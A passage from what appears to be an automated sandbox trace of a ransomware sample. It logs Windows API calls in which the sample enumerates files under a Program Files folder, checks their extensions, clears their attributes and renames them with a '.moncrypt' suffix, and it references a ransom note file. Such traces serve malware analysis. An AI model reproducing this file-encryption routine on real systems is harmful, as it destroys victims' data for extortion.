lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.pngr", lpUsedDefaultChar=0x0) returned 72 [0057.569] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\203x8subpicture.pngr", lpUsedDefaultChar=0x0) returned 4 [0057.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.570] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.570] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.570] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.570] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png", dwFileAttributes=0x20) returned 0 [0057.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.571] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.moncrypt")) returned 0 [0057.571] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.571] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.571] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.571] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.571] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.571] GlobalUnlock (hMem=0x44000c) returned 0 [0057.571] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.571] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.572] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.572] GlobalUnlock (hMem=0x44000c) returned 0 [0057.572] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.572] GlobalUnlock (hMem=0x440004) returned 0 [0057.572] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.572] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 85 [0057.573] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.573] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.573] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.574] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.574] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.575] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0057.575] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.575] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.575] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.575] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.575] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.575] GlobalUnlock (hMem=0x440004) returned 0 [0057.575] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.575] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.575] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.575] GlobalUnlock (hMem=0x440004) returned 0 [0057.575] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.575] GlobalUnlock (hMem=0x44000c) returned 0 [0057.575] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.576] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 